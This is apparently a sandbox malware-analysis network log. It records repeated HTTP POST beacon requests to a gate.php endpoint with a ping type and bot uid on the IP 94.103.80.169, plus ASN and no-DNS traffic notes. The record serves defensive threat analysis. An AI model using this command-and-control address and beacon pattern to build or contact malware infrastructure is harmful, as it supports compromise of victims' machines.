Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 0Cache-Control: no-cache

Source: Joe Sandbox View

ASN Name: VDSINA-ASRU VDSINA-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
